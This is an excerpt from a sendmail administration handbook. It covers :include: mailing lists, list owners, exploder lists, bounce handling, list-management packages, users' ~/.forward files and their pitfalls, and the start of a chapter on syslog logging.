As has been noted, the aliases file should be writable only by root for security reasons. Therefore, ordinary users, such as nonprivileged department heads, cannot use the aliases file to create and manage mailing lists. Fortunately, :include: files allow ordinary users (or groups of users) to maintain mailing lists. This offloads a great deal of work from the system administrator, who would otherwise have to manage these lists, and gives users a sense of participation in the system.

Unfortunately, reading :include: lists is slower than reading an entry from the aliases database. At busy sites or sites with numerous mail messages addressed to mailing lists, this difference in speed can become significant. Note that the -bv command-line switch (see Section 36.7.13, -bv) can be used with sendmail to time and contrast the two different forms of lists. On the other hand, sometimes rebuilding the aliases(5) database can also be very slow. In such instances the :include: file may be faster, since it doesn't require a rebuild each time it changes.

One possible disadvantage to all types of mailing lists is that they are visible to the outside world. This means that anyone in the world can send mail to a local list that is intended for internal use. Many lists are intended for both internal and external use. One such list might be one for discussion of the O'Reilly Nutshell Handbooks, called, say, nuts@ora.com. Anyone inside ora.com and anyone in the outside world can send mail messages to this list, and those messages will be forwarded to everyone on the nuts mailing list.

Previous: 25.1 Internal Mailing Lists | sendmail | Next: 25.3 Defining a Mailing List Owner
25.1 Internal Mailing Lists | Book Index | 25.3 Defining a Mailing List Owner


[Chapter 25] 25.3 Defining a Mailing List Owner

sendmailSearch this book
Previous: 25.2 :include: Mailing Lists Chapter 25
Mailing Lists and ~/.forward 		Next: 25.4 Exploder Mailing Lists

25.3 Defining a Mailing List Owner

Notification of an error in delivery to a mailing list is sent to the original sender as bounced mail. Although this behavior is desirable for most mail delivery, it can have undesirable results for mailing lists. Because the list is maintained locally, it does not make sense for an error message to be sent to a remote sender. That sender is likely to be puzzled or upset and unable to fix the problem. A better solution is to force all error messages to be sent to a local user, no matter who sent the original message.

When sendmail processes errors during delivery, it looks to see whether an "owner" was defined for the mailing list. If one was defined, errors are sent to that owner rather than to the sender. The owner is defined by prefixing the original mailing list alias with the phrase owner-, as shown in the following code:

nuts:  :include:/home/lists/nuts.list
owner-nuts: george

Here, nuts is the name of the mailing list. If an error occurs in attempting delivery to the list of recipients in the file /home/lists/book.list, sendmail looks for an alias called owner-nuts (the original name prefixed with owner-). If sendmail finds an owner (here, george), it sends error notification to that owner rather than to the original sender. Generally, it is best to have the owner- of a list be the same as the owner of the mailing-list file, since that user is best suited to correct errors as they appear.

To ensure that all errors in mailing lists are handled by someone, an owner of owners should also be defined. That alias usually looks like this:

owner-owner:    postmaster

If sendmail cannot deliver an error message to the owner- of a mailing list, it instead delivers it to the owner-owner.

Beginning with V8 sendmail, a single alias expansion is done on the owner- of any :include: list, and that expansion is made the address of the envelope sender:

nuts:  :include:/home/lists/nuts.list
owner-nuts: nuts-request
nuts-request: george

Here, with V8 sendmail, the envelope sender for mail sent to nuts will be nuts-request (a single-level alias expansion), rather than george (a multiple-level alias expansion).

As a side effect, with V8 sendmail, mail sent to owner-anything will have the envelope-sender address set to a single alias expansion of owner-owner. This can be confusing, so always stress to users that they should mail the maintainer of a list with the -request suffix instead of the owner- prefix.

Previous: 25.2 :include: Mailing Lists | sendmail | Next: 25.4 Exploder Mailing Lists
25.2 :include: Mailing Lists | Book Index | 25.4 Exploder Mailing Lists


[Chapter 25] 25.4 Exploder Mailing Lists

sendmailSearch this book
Previous: 25.3 Defining a Mailing List Owner Chapter 25
Mailing Lists and ~/.forward 		Next: 25.5 Problems with Mailing Lists

25.4 Exploder Mailing Lists

When mailing lists get extremely large, they sometimes include the names of other lists at other sites as recipients. Those other lists are called exploder lists, because they cause the size of a list (the number of recipients) to explode. For example, consider the situation in Figure 25.1.

Figure 25.1: Exploding a mailing list

This figure shows that a message sent to nuts@ora.com will, in addition to its list of users, also be forwarded to allgov@wash.gov and ads@uu.uu.net. But each of these recipients is also a mailing list. Like the original nuts list, they deliver to ordinary users and forward to other sites' mailing lists.

Unless exploding lists like this are correctly managed, problems that are both mysterious and difficult to solve can arise. A bad address in one of the distant exploding lists, for example, can cause a delivery error at a remote exploder site. If this happens, it is possible that the error notification will be sent to either the original list maintainer or (worse) the original submitter, although neither is in a position to correct such errors.

To ensure that error notification is sent to the person who is best able to handle the error, mailing list entries in the aliases file should be set up like the following. It is an approach to setting up a mailing list that is well suited for exploder sites.

list:           :include:/path/to/rebroadcast.list
owner-list:     list-request@original.site

Here, the name of the mailing list is list and is used to explode by sending the incoming message to the users listed in rebroadcast.list. The envelope of the outgoing message will contain the address list-request@original.site, thus causing errors to be sent to the originating list maintainer rather than wrongly to someone on the local machine.

Previous: 25.3 Defining a Mailing List Owner | sendmail | Next: 25.5 Problems with Mailing Lists
25.3 Defining a Mailing List Owner | Book Index | 25.5 Problems with Mailing Lists


[Chapter 25] 25.5 Problems with Mailing Lists

sendmailSearch this book
Previous: 25.4 Exploder Mailing Lists Chapter 25
Mailing Lists and ~/.forward 		Next: 25.6 Packages That Help

25.5 Problems with Mailing Lists

At small sites that just use mailing lists internally, the problems are few and can be easily solved locally. But as lists get to be large (over a few hundred recipients), many (over 50 lists), or complex (using exploders), problems become harder to localize and more difficult to solve. In the following discussion we present the most common problems. It is by no means comprehensive, but it should provide information to solve most problems.

25.5.1 Reply Versus Bounce

The eventual recipient of a mailing-list message should be able to reply to the message and have that reply go to either the original sender or the list as a whole. Which happens is an administrative decision. In general, replies go to the address listed in the From: or Reply-To: headers. If the intention is to have replies go to the list as a whole, these headers need to be rewritten by a filter at the originating site:

list:   "|/etc/local/mailfilter list -oi -odq -flist-request list-real"

Here, the name of the filter has replaced sendmail in the aliases file entry. Writing such a filter is complex. The original addresses need to be preserved with appropriate headers before they are rewritten by the filter.

The converse problem is that not all mail-handling programs handle replies properly. Some programs (such as UUCP and certain versions of emacs-mail) insist on replying to the envelope sender as conveyed in the five-character "From " header. By setting up lists correctly (as we showed earlier), an administrator can at least guarantee that those replies are sent to the list maintainer, who can then forward them as required.

A more serious problem is the way other sites handle bounced mail. In an ideal world, all sites would correctly bounce mail to the Errors-To: address [3] and (less desirably) to the envelope sender. Unfortunately, not all sites are so well-behaved. If a mailing list is not carefully set up, there is a possibility that bounced mail will be resent to the list as a whole. To minimize such potential catastrophes, follow the guide in Table 25.1.

[3] The sendmail program does use the Errors-To: header, despite the fact that it was originally a hack to get around UUCP, which confused envelope and header. The Errors-To: header is not an Internet standard (in fact it violates the Internet standards) and cannot be expected to work on MTAs other than sendmail. Beginning with V8.8, Errors-To: is supported only if the UseErrorsTo (l) option is set to true.

Table 25.1: Mailing List Header Use
Header |  | Use
Envelope sender | Section 31.10.14, $f | Should be local list maintainer
From | Section 34.8.59, SaveFromLine (f) | Same as envelope sender
From: | Section 35.10.14, From: | Original submitter
Reply-To: | Section 35.10.33, To: | Local list maintainer, list as a whole, or original submitter
Errors-To: | Section 35.10.13, Errors-To: | Local list maintainer

25.5.2 Gateway Lists to News

When gatewaying a mailing list to Usenet news, the inews(1) program bounces the message if it is for a moderated group and lacks an Approved: header, which can be added by a filter program (see Section 24.3, "Write a Delivery Agent Script") or by a news gateway delivery agent.

If your site is running (or has access to) Usenet news, the recnews(1) program that is included therein may be used to gateway mail to newsgroups. It inserts the Approved: header that inews needs and generally handles its gateway role well. One minor pitfall to avoid with recnews is making separate postings when you intend cross-postings:

mail-news: "|/usr/local/recnews comp.mail comp.mail.d"   <-  separate postings
mail-news: "|/usr/local/recnews comp.mail,comp.mail.d"   <-  cross-posted

                                   note the comma

25.5.3 A list-bounced Alias

There are many ways to handle bounced mail in managing a mailing list. One of the best ways for large lists is to create a bounce alias for a list:

list-bounce: :include:/usr/local/lists/list-bounce

When an address in the main list begins to bounce, move it from the main list's file to the corresponding list-bounce file. Then send a message to that list nightly (via cron(8)), advising the users in it that they will soon be dropped. To prevent the bad addresses from deluging you with bounced mail, set up the return address and the envelope to be an alias that delivers to /dev/null:

black-hole:   /dev/null

Finally, arrange to include the following header in the outgoing message:

Precedence: junk

This prevents most sites from returning the message if it cannot be delivered.

There are also programs available that can help to manage large and numerous mailing lists. We will cover them later in this chapter.

25.5.4 Users Ignore list-request

It is impossible to cause all users to interact properly with a mailing list. For example, all submissions to a list should (strictly speaking) be mailed to list, whereas communications to the list maintainer should be mailed to list-request. As a list maintainer, you will find that users mistakenly reverse these roles surprisingly often.

One possible cure is to insert instructions in each mailing at the start of the message. In the header, for example, Comment: lines can be used like this:

Comment: "listname" INSTRUCTIONS
Comment: To be added to, removed from, or have your address changed
Comment: in this list, send mail to "listname-request".

Unfortunately, user inattention usually dooms such schemes to failure. You can put instructions everywhere, but some users will still send their requests to the wrong address.

A solution some sites use when the list is used only for official and rare mailings is to install the list name in the aliases file just before the mailing:

list:	:include: /usr/local/lists/official.list       <-  before

Then run newaliases(1) and send mail to the list. After all the mail for the list has been queued, edit the aliases file and comment out that entry:

#list:	:include: /usr/local/lists/official.list       <-  after

Run newaliases(1) again, and you will have disabled that list. That way, mail that is wrongly sent to list will bounce back to the sender who made the mistake instead of wrongly being broadcast to the list as a whole.

25.5.5 Precedence: bulk

All mass mailings, such as mailing-list mailings, should have a header Precedence: line that gives a priority of bulk, junk, or list. On the local machine these priorities cause the message to be processed from the queue after higher-priority mail. At other sites these priorities will cause well-designed programs (such as the newer vacation(1) [4] program) to skip automatically replying to such messages.

[4] The vacation(1) program is a wonderful tool for advising others that mail will not be attended to for a while. Unfortunately, some older versions of that program still exist that reply to bulk mail, thereby causing problems for the mailing-list maintainer.

25.5.6 X.400 Addresses

The X.400 telecommunications standard is finding increased acceptance in Europe and by the U.S. government. Addresses under X.400 always begin with a leading slash, which can cause sendmail to think that the address is the name of a file when the local delivery agent is selected:

/PN=MS.USER/O=CORP/PRMD=CORP/ADMD=TELE/C=US/

To prevent this misunderstanding, all such addresses should be followed by an @domain part to route the message to an appropriate X.400 gateway:

/PN=MS.USER/O=CORP/PRMD=CORP/ADMD=TELE/C=US/@X.400.gateway.here

Previous: 25.4 Exploder Mailing Lists | sendmail | Next: 25.6 Packages That Help
25.4 Exploder Mailing Lists | Book Index | 25.6 Packages That Help


[Chapter 25] 25.6 Packages That Help

sendmailSearch this book
Previous: 25.5 Problems with Mailing Lists Chapter 25
Mailing Lists and ~/.forward 		Next: 25.7 The User's ~/.forward File

25.6 Packages That Help

As the number and size of mailing lists at your site become large, you may wish to install a software package that automates list management. All of the following packages are available via anonymous FTP.

25.6.1 Majordomo

The Majordomo mailing-list management software was written by Brent Chapman using the perl(1) language. Its chief features are that it allows users to subscribe to and remove themselves from lists without list manager intervention and that it allows list managers to manage lists remotely. In addition, users can obtain help and list descriptions with simple mail requests. Note that Majordomo aids in managing a list (the list addresses) but does not aid in list moderation (the contents of mail messages). Majordomo is available via anonymous FTP from:

ftp://FTP.GreatCircle.COM/pub/majordomo/

25.6.2 Almanac

The Almanac mailing-list management software was written at Oregon State University, Extension Service, in the C language. It allows users to subscribe to and be removed from mailing lists themselves, without maintainer intervention, and also services requests for file transfers (similar to FTP) via email. It is purported to be highly configurable in that the grammar for requests is determined by the site administrator, and any request can be bound to any (predefined) Bourne shell program. For example, Almanac sites in France are at liberty to speak French to their Almanac server. The Almanac software is available via anonymous FTP from:

ftp://OES.OrSt.EDU/pub/almanac/

25.6.3 ListProcessor

The ListProcessor system was written by Tasos Kotsikonas. It is an automated system for managing mailing lists that replaces the aliases file for that use. According to the author, it includes support for "public and private hierarchical archives, moderated lists, peer lists, peer servers, private lists, address aliasing, news connections and gateways, mail queueing, list ownership, owner preferences, crash recovery, and batch processing." The system also accepts Internet connections for "live" processing of requests at port 372 (as assigned by the IANA). [5] The ListProcessor system is available via anonymous ftp from:

[5] IANA stands for Internet Assigned Numbers Authority. It is currently housed in Marina del Rey, California, and staffed by Joyce Reynolds and Jon Postel (iana@isi.edu).

ftp://cs-ftp.bu.edu/pub/listserv

Previous: 25.5 Problems with Mailing Lists | sendmail | Next: 25.7 The User's ~/.forward File
25.5 Problems with Mailing Lists | Book Index | 25.7 The User's ~/.forward File


[Chapter 25] 25.7 The User's ~/.forward File

sendmailSearch this book
Previous: 25.6 Packages That Help Chapter 25
Mailing Lists and ~/.forward 		Next: 25.8 Pitfalls

25.7 The User's ~/.forward File

The sendmail program allows each user to have a :include: style list to customize the receipt of personal mail. That file (actually a possible sequence of files) is defined by the ForwardPath (J) option (see Section 34.8.27, ForwardPath (J)). Traditionally, that file is located in a user's home directory. [6] We use the C-shell notation ~ to indicate user home directories, so we will compactly refer to this file as ~/.forward.

[6] Prior to V8 sendmail the ~/.forward file could live only in the user's home directory and had to be called &.forward.

If a recipient address selects a delivery agent with the F=w flag set (see Section 30.8.43, F=w), that address is considered the address of a local user whose ~/.forward file can be processed. If it contains a backslash, sendmail disallows further processing, and the message is handed to the local delivery agent's P= program for delivery to the mail-spooling directory. If a backslash is absent, sendmail tries to read that user's ~/.forward file.

If all the .forward files listed in the ForwardPath (J) option (see Section 34.8.27) cannot be read, their absence is silently ignored. This is how sendmail behaves when those files don't exist. Users often choose not to have ~/.forward files. But problems may arise when users' home directories are remotely mounted. If the user's home directory is temporarily absent (as it would be if an NFS server is down), or if a user has no home directory, sendmail syslog(3)'s the following error message and falls back to the other directories in its ForwardPath (J) option:

forward: no home

V8 sendmail temporarily transforms itself into the user [7] before trying to read the ~/.forward file. This is done so that reads will work across NFS. If sendmail cannot read the ~/.forward file (for any reason), it silently ignores that file.

[7] This is supported only under operating systems that properly support seteuid(3) or setreuid(3) (see Section 18.8.55, USESETEUID).

Before reading the ~/.forward file, sendmail checks to see whether it is a "safe" file - one that is owned by the user or root and that has the read permission bit set for the owner. If the ~/.forward file is not safe, sendmail silently ignores it.

If sendmail can find and read the ~/.forward file and if that file is safe, sendmail opens the file for reading and gathers a list of recipients from it. Internally, the ~/.forward file is exactly the same as a :include: file. Each line of text in it may contain one or more recipient addresses. Recipient addresses may be email addresses, the names of files onto which the message should be appended, the names of programs through which to pipe the message, or :include: files.

Beginning with V8 sendmail, ~/.forward files may contain comments (lines that begin with a # character). Other versions of sendmail treat comment lines as addresses and bounce mail that is seemingly addressed to #.

25.7.1 Unscrambling Forwards

The traditional use of the ~/.forward file, as its name implies, is to forward mail to another site. Unfortunately, as users move from machine to machine, they can leave behind a series of ~/.forward files, each of which points to the next machine in a chain. As machine names change and as old machines are retired, the links in this chain can be broken. One common consequence is a bounced mail message ("host unknown") with a dozen or so Received: (see Section 35.10.25, Received:) header lines.

As the mail administrator, you should beware of the ~/.forward files of users at your site. If any contain offsite addresses, you should periodically use the SMTP expn command [8] to examine them. For example, consider a local user whose ~/.forward contains the following line:

[8] Under old versions of sendmail the vrfy and expn commands are interchangeable. Under V8 sendmail and other, modern SMTP servers, the two commands differ.

user@remote.domain

This causes all local mail for the user to be forwarded to the host remote.domain for delivery there. The validity of that address can be checked with telnet(1) at port 25 [9] and the SMTP expn command:

[9] In place of specifying port 25, you can use either mail or smtp. These are more mnemonic and easier to remember (although we "oldtimers" tend to still use 25).

% telnet remote.domain 25
Trying 123.45.123.45 ...
Connected to remote.domain.
Escape character is '^]'.
220 remote.domain Sendmail 8.6.13/8.6.12 ready at Tue, 7 May 1996 13:39:21 -0700
220 ESMTP spoken here
expn user
250 <user@another.site>
quit
221 remote.domain closing connection
Connection closed by foreign host.
%

This shows that the user is known at remote.site but also shows that mail will be forwarded (yet again) from there to another.site. By repeating this process, you will eventually find the site at which the user's mail will be delivered. Depending on your site's policies, you can either correct the user's ~/.forward file or have the user correct it. It should contain the address of the host where that user's mail will ultimately be delivered.

25.7.2 Forwarding Loops

Because ~/.forward files are under user control, the administrator occasionally needs to break loops caused by improper use of those files. To illustrate, consider a user who wishes to have mail delivered on two different machines (call them machines A and B). On machine A the user creates a ~/.forward file like this:

\user, user@B

Then, on machine B the user creates this ~/.forward file:

\user, user@A

The intention is that the backslashed name (\user) will cause local delivery and the second address in each will forward a copy of the message to the other machine. Unfortunately, this causes mail to go back and forth between the two machines (delivering and forwarding at each) until the mail is finally bounced with the error message "too many hops."

On the machine that the administrator controls, a fix to this looping is to temporarily edit the aliases database and insert an alias for the offending user like this:

user:  \user

This causes mail for user to be delivered locally and that user's ~/.forward file to be ignored. After the user has corrected the offending ~/.forward files, this alias can be removed.

25.7.3 Appending to Files

The ~/.forward file can contain the names of files onto which mail is to be appended. Such filenames must begin with a slash character that cannot be quoted. For example, if a user wishes to keep a backup copy of incoming mail:

\user
/home/user/mail/in.backup

The first line (\user) tells sendmail to deliver directly to the user's mail spool file using the local delivery agent. The second line tells sendmail to append a copy of the mail message to the file specified (in.backup).

Note that, prior to V8, sendmail did no file locking, so writing files by way of the ~/.forward file was not recommended. Beginning with V8, however, sendmail locks those files during writing, so such use of the ~/.forward file is now okay.

If the SafeFileEnvironment option (see Section 34.8.58, SafeFileEnvironment) is set, the user should be advised to specify the path of that safe directory:

\user
/arch/bob.backup            <-  here /arch was specified by the SafeFileEnvironment option

When the SafeFileEnvironment option is used, the cooperation of the system administration may be needed if users are to have the capability of saving mail to files via the ~/.forward file.

25.7.4 Piping Through Programs

The ~/.forward file can contain the names of programs to run. A program name is indicated by a leading pipe (|) character, which may or may not be quoted (see Section 24.2.3, "Delivery via Programs"). For example, a user may be away on a trip and want mail to be handled by the vacation(1) program:

\user, "|/usr/ucb/vacation user"

Recall that prefixing a local address with a backslash tells sendmail to skip additional alias transformations. For \user this causes sendmail to deliver the message (via the local delivery agent) directly to the user's spool mail box.

The quotes around the vacation program are necessary to prevent the program and its single argument (user) from being viewed as two separate addresses. The vacation program is run with the command-line argument user, and the mail message is given to it via its standard input.

Beginning with V8 sendmail, a user must have a valid shell to run programs from the ~/.forward file. See Section 18.8.34, PATH... for a description of this process and for methods to circumvent it at the system level.

Because sendmail sorts all addresses and deletes duplicates before delivering to any of them, it is important that programs in ~/.forward files be unique. Consider a program that doesn't take an argument and suppose that two users both specified that program in their ~/.forward files:

user 1   ->   \user1, "|/bin/notify"
user 2   ->   \user2, "|/bin/notify"

Prior to V8 sendmail, when mail was sent to both user1 and user2, the address /bin/notify appeared twice in the list of addresses. The sendmail program eliminated what seems to be a duplicate, [10] and one of the two users did not have the program run.

[10] V8 sendmail uses the owner of the ~/.forward file in addition to the program name when comparing.

If a program requires no arguments (as opposed to ignoring them), the ~/.forward program specifications can be made unique by including a shell comment:

user 1   ->   \user1, "|/bin/notify #user1"
user 2   ->   \user2, "|/bin/notify #user2"

25.7.5 Specialty Programs for Use with ~/.forward

Rather than expecting users to write home-grown programs for use in ~/.forward files, offer them any or all of the publicly available alternatives. The most common are listed below.

25.7.5.1 The deliver program

The deliver(1) program, by Chip Salzenberg, is specifically designed to handle all types of final delivery for users. It is intended for use in the ~/.forward file but also functions as a local delivery agent. The deliver program supports a large number of command-line options and can reliably handle delivery to files and through programs. It is typically used in the ~/.forward file like this:

 "|/usr/local/bin/deliver user"

The deliver program is available via anonymous FTP from many archive sites.

25.7.5.2 The procmail program

The procmail(1) program, by Stephen R. van den Berg, is purported to be the most reliable of the delivery programs. It can sort incoming mail into separate folders and files, run programs, preprocess mail (filtering out unwanted mail), and selectively forward mail elsewhere. It can function as a substitute for the local delivery agent or handle mail delivery for the individual user. The procmail program is typically used in the ~/.forward file like this:

 "|exec /usr/local/bin/procmail #user"

Note that procmail does not accept a username as a command-line argument. Because of this, a dummy shell comment is needed for pre-V8 versions of sendmail to make the address unique. The procmail program is available via anonymous FTP from many archive sites.

25.7.5.3 The slocal program

The slocal program, distributed with the mh distribution, is useful for sorting incoming mail into separate files and folders. It can be used with both UNIX-style mail files and with mh-style mail directory folders. It is typically used in the ~/.forward file like this:

 "| /usr/local/lib/mh/slocal -user user"

The disposition of mail is controlled using a companion file called ~/.maildelivery.

25.7.6 Force Requeue on Error

Normally, a program in the user's ~/.forward file is executed with the Bourne shell. The precise means that is used is defined by the prog delivery agent.

Mprog, P=/bin/sh,   F=lsDFMeuP,  S=10, R=20, A=sh -c $u

                                              The Bourne shell

One drawback to using the Bourne shell to run programs is that it exits with a value of 1 when the program cannot be executed. When sendmail sees the exit value 1, it bounces the mail message.

There will be times when bouncing a mail message because the program could not execute is not desirable. For example, consider the following ~/.forward file:

 "| /usr/local/lib/slocal -user george"

If the directory /usr/local/lib is unavailable (perhaps because a file server is down or because an automounter failed), the mail message should be queued, rather than bounced. To arrange for requeueing of the message on failure, users should be encouraged to construct their ~/.forward files like this:

 "| /usr/local/lib/slocal -user george || exit 75"

Here, the || tells the Bourne shell to perform what follows (the exit 75) if the preceding program could not be executed or if the program exited because of an error. The exit value 75 is special, in that it tells sendmail to queue the message for later delivery, rather than to bounce it.

Previous: 25.6 Packages That Help | sendmail | Next: 25.8 Pitfalls
25.6 Packages That Help | Book Index | 25.8 Pitfalls


[Chapter 25] 25.8 Pitfalls

sendmailSearch this book
Previous: 25.7 The User's ~/.forward File Chapter 25
Mailing Lists and ~/.forward 		Next: 26. Logging and Statistics

25.8 Pitfalls

  • When sendmail collects addresses, it discards duplicates. Prior to V8 sendmail, program entries in a ~/.forward file had to be unique; otherwise, an identical entry in another user's ~/.forward caused one or the other to be ignored. Usually, this is solved by requiring the program to take an argument. If the program won't accept an argument, add a shell comment inside the quotes.

  • The database forms of the aliases(5) file contain binary integers. As a consequence, those database files cannot be shared via network-mounted file systems by machines of differing architectures. This has been fixed with V8 sendmail, which can use the 4.4 BSD UNIX db(3) form of database.

  • As network-mounted file systems become increasingly common, the likelihood that a user's home directory will be temporarily unavailable increases. Prior to V8 sendmail this problem was not handled well. Instead of queueing mail until a user's home directory could be accessed, sendmail wrongly assumed that the ~/.forward didn't exist. This caused mail to be delivered locally when it should have been forwarded to another site. This can be fixed by using the ForwardPath (J) option (see Section 34.8.27) of V8 sendmail.

  • Prior to V8 sendmail there was no way to disable user forwarding via ~/.forward files. At sites with proprietary or confidential information there was no simple way to prevent local users from arbitrarily forwarding confidential mail offsite. But ~/.forward files can be centrally administered by using the ForwardPath (J) option (see Section 34.8.27) of V8 sendmail, even to the point of completely disabling forwarding with OJ/dev/null.

  • Programs run from ~/.forward files should take care to clear or reset all untrusted environment variables. Only V8 properly presets the environment.

  • If a user's ~/.forward file evaluates to an empty address, the mail will be silently discarded. This has been fixed in IDA and V8 sendmail.

  • A program run from a ~/.forward file is always run on the machine running sendmail. That machine is not necessarily the same as the machine housing the ~/.forward file. When user home directories are network-mounted, it is possible that one machine may support the program (such as /usr/ucb/vacation), while another may lack the program or call it something else (such as /usr/bsd/vacation). Note that if smrsh(1) is used, the path is ignored.

Previous: 25.7 The User's ~/.forward File | sendmail | Next: 26. Logging and Statistics
25.7 The User's ~/.forward File | Book Index | 26. Logging and Statistics


[Chapter 26] Logging and Statistics

sendmailSearch this book
Previous: 25.8 Pitfalls Chapter 26 Next: 26.2 Statistics

26. Logging and Statistics

Contents:
Logging with syslog
Statistics
Signaling the Daemon
Log Transactions with -X
Pitfalls

The sendmail program can keep the system administrator up-to-date about many aspects of mail delivery and forwarding. It does this by logging its activities using the syslog(3) facility. It can also gather (or aid in gathering) statistics about what it is doing. Information about things like total message volume and site connectivity, for example, can help the administrator to make sendmail more efficient. Information about the SMTP dialog that was used to send the message can help the administrator to solve delivery problems.

In this chapter we cover these three important aspects of sendmail. First, we explain the use of the syslog(3) facility and illustrate several ways to tune its logging. Second, we show the built-in means that sendmail has for recording statistics and other information and how scripts can be used to extend that information. Third, we explore ways to tune the performance of sendmail.

26.1 Logging with syslog

Logging is the process of issuing one-line warnings that will be either displayed to a human, archived to a file, or both. The mechanism that sendmail uses to produce these warnings is called syslog(3). The sendmail program is concerned only with issuing its warnings. Once they are issued, the syslog facility takes over and disposes of them in a manner described in the file /etc/syslog.conf. Statements in this file determine whether a warning is written to a device (such as /dev/console), appended to a file, forwarded to another host, or displayed on a logged-in user's screen.

In the following discussion of syslog and syslog.conf, we will describe the BSD 4.4 version. Some versions of UNIX, such as Ultrix, use the 4.2 version of syslog, but because syslog is public domain, we recommend upgrading and will not cover that old version here.

26.1.1 syslog(3)

The syslog(3) facility uses two items of information in determining how to handle messages: facility and level. The facility is the category of program issuing a message. The syslog facility can handle many categories, but only one, mail, is used by sendmail. The level is the degree of severity of the warnings. The sendmail program issues messages with syslog(3) at various levels depending on how serious the warning is.

When sendmail first starts to run, it opens its connection to the syslog facility with the following C language line:

openlog("sendmail", LOG_PID, LOG_MAIL);

This tells syslog three things:

  • All messages should be printed using sendmail as the name of the program doing the logging. This means that no matter what name is used to run sendmail (such as newaliases or smtpd), the name that is logged will always be sendmail.

  • The LOG_PID tells syslog that the PID (process identification number) should be included when each message is written. This is necessary because sendmail forks often, and each parent and child will have a different PID. Because queue file identifiers are constructed from PIDs, this record helps to determine which invocation of sendmail created a particular queued file. The PID also allows messages from the daemon form of sendmail to be differentiated from others.

  • The facility for sendmail (and all mail-handling programs) is LOG_MAIL. We'll show why this is important when we discuss the syslog.conf file.

Just before sendmail issues a warning, it looks at the logging level defined by its LogLevel (L) option (see Section 34.8.33, LogLevel (L)). If the severity of the warning is greater than the logging level, nothing is output. If the severity of the warning that it intends to issue is less than or equal to the logging level (lower is more serious), it issues that warning with a C language call like this:

syslog(pri, msg);

Here, pri is the syslog logging priority, and msg is the text of the warning message. Note that the LogLevel (L) option (see Section 34.8.33) level is different than the syslog priority. The former is used internally by sendmail to decide whether it should log a message. The latter is used by syslog to determine how it will dispose of the message (if it gets one).

The LogLevel (L) option sets a threshold at and below which sendmail will issue warnings. When the LogLevel (L) option has a zero value, nothing is ever issued. When the LogLevel (L) option has a low value, only critical warnings are issued. At higher values, less critical messages are also issued.

The syntax of the LogLevel (L) option and the kinds of information issued for each level are explained in Section 34.8.33. For each level, all the information produced at lower levels is also issued. That is, setting the LogLevel (L) option to 9 causes messages for levels 1 through 8 also to be issued.

The relationship between the LogLevel (L) option logging levels and syslog priorities is shown in Table 26.1.

Table 26.1: L Levels Versus syslog Priorities
Level | Priority
1 | LOG_CRIT and LOG_ALERT
2-8 | LOG_NOTICE
9-10 | LOG_INFO
11+ | LOG_DEBUG

26.1.2 Tuning syslog.conf

Although all messages are emitted by sendmail using a single facility, that of syslog, they need not all arrive at the same place. The disposition of messages is tuned by the syslog.conf file.

The file syslog.conf (usually located in the /etc directory) contains routing commands for use by syslog. That file can be complex, because it is designed to handle messages from many programs other than sendmail, even messages from the kernel itself. Under SunOS the syslog.conf file is also complex because it is preprocessed by m4(1) when it is read by syslog.

The file syslog.conf is composed of lines of text that each have the form:

facility.level           target

The facility is the type of program that may be producing a message. The facility called mail is the one that sendmail uses. For the complete list, see the online manual for syslog.conf(5).

The level indicates the severity at or above which messages should be handled. These levels correspond to the LogLevel (L) option levels shown in Table 26.1 of Section 26.1.1, "syslog(3)". The complete list of syslog.conf levels used by sendmail is shown in Table 26.2.

Table 26.2: syslog.conf Levels Used by sendmail
Level | Meaning of Severity (Highest to Lowest)
alert | Conditions requiring immediate correction
crit | Critical conditions for which action may be deferred
err | Other errors
warning | Warning messages
notice | Nonerrors that may require special handling
info | Statistical and informational messages
debug | Messages used only in debugging a program

The target is one of the four possibilities shown in Table 26.3. It is the target and the preceding level that must be tuned for use by sendmail.

Table 26.3: syslog.conf Targets
Target | Description
@host | Forward message to named host
/file | Append message to named file
user,user,... | Write to users' screens, if logged in
* | Write to all logged-in users' screens

For example, the following syslog.conf line causes messages from "mail" (the facility) that are at or above severity "info" (the level) to be appended to the file /var/log/syslog (the target):

  facility                  target
    -v                         -v
mail.info                /var/log/syslog

      level

A typical (albeit much simplified) /etc/syslog.conf file might look like this:

*.err;kern.debug;user.none          /dev/console
*.err;kern.debug;user.none          /var/adm/messages
auth.notice                         @authhost
mail.info                           /var/log/syslog
*.emerg;user.none                   *

Notice that there may be multiple facility.level pairs on the left, each separated from the others by semicolons. The first two lines handle messages for all facilities at level err, all kernel messages (kern) at level debug and above, and none of the levels (none) for the facility user. The first line sends those messages to the file /dev/console, the computer's screen. The second appends its messages to the file /var/adm/messages.

The third line sends authorization messages (such as repeated login failures) to the host named authhost.

The fourth line appends all messages printed by sendmail at level info and above (the LogLevel (L) option is level 10 and below) to the file /var/log/syslog.

The last line is an emergency broadcast facility. A message to any facility (the leftmost *) at the highest level (emerg), except for the facility user (the .none), will be written to the screen of all currently logged-in users (the target *).

Finally, note that facilities may be listed together by using a comma:

mail,daemon.info

This causes the level info to be the level for both the facilities mail and daemon. Only the facility may be listed this way. The level may not, and (unfortunately) the target may not.

26.1.3 syslog's Output

When the LogLevel (L) option level is 9 or above (see Section 34.8.33), sendmail logs one line of information for each envelope sender and one line of information for each recipient delivery or deferral. As sendmail has evolved, these lines of logging information have grown more complex. Here, we discuss the lines produced by sendmail 8.8.4.

Each line of information logged looks something like this:

date host sendmail[pid]: qid: what=value, ...

Each line of output that syslog produces begins with five pieces of information. The date is the month, day, and time that the line of information was logged (note that the year is absent). The host is the name of the host that produced this information (note that this may differ from the name of the host on which the log files are kept). The sendmail is literal. Because of the LOG_PID argument that is given to openlog(3) by sendmail (see Section 26.1.1), the process ID of the invocation of sendmail that produced this information is included in square brackets. Finally, each line includes the qid queue identifier (see Section 23.2.1, "The Queue Identifier") that uniquely identifies each message on a given host.

This initial information is followed by a comma-separated list of what=value equates. Which equate appears in which line depends on whether the line documents the sender or the recipient and whether deliver succeed, failed, or was deferred. In Table 26.4 we list the possibilities in alphabetical order. Then, in the sections that follow, we describe the role that each plays.

Table 26.4: what= in syslog Output Lines
what= |  | Description
class= | Section 26.1.3.1, "class= the queue class" | The queue class
delay= | Section 26.1.3.2, "delay= total time to deliver" | Total time to deliver
from= | Section 26.1.3.3, "from= show envelope sender" | Show envelope sender
mailer= | Section 26.1.3.4, "mailer= the delivery agent used" | The delivery agent used
msgid= | Section 26.1.3.5, "msgid= the Message-ID: identifier" | The Message-ID: identifier
nrcpts= | Section 26.1.3.6, "nrcpts= the number of recipients" | The number of recipients
pri= | Section 26.1.3.7, "pri= the initial priority" | The initial priority
